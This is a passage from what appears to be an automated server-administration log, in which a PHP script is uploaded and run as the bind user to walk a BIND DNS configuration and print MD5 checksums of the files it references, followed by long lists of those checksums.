MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:21:56: Establishing a connection
2026-04-25 18:21:57: 

PUT: /tmp/pkp365741

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:21:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp365741; rm /tmp/pkp365741'

2026-04-25 18:21:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
